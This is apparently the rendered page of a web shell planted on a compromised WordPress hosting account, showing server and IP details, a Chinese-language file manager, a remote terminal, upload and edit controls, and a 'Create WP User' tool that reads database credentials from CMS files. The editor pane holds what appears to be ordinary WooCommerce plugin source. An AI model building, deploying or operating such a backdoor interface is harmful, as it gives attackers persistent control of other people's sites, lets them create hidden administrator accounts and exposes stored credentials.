Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
woocommerce
/
src
/
Internal
/
Abilities
/
REST
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
RestAbility.php
1.16 KB
-rw-r--r--
2026-05-23 14:31
RestAbilityFactory.php
10.58 KB
-rw-r--r--
2026-03-03 00:17
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
RestAbility.php
<?php /** * REST Ability class file. */ declare( strict_types=1 ); namespace Automattic\WooCommerce\Internal\Abilities\REST; defined( 'ABSPATH' ) || exit; /** * Custom WP_Ability subclass for REST API-based abilities. * * This class extends the base WP_Ability class but skips output validation * to handle the discrepancies between WooCommerce REST API schemas and * actual output. This is necessary because WooCommerce schemas are often * incomplete or inaccurate regarding nullable fields and type variations. */ class RestAbility extends \WP_Ability { /** * Skip output validation for REST abilities. * * WooCommerce REST API schemas often don't accurately reflect the actual * output, particularly for nullable fields and type variations. Rather than * trying to fix all schema inconsistencies, we skip output validation for * REST-based abilities while maintaining input validation and permissions. * * @param mixed $output The output to validate. * @return true Always returns true (no validation). */ protected function validate_output( $output ) { // Skip validation - trust that REST controllers return valid data. return true; } }
关闭
保存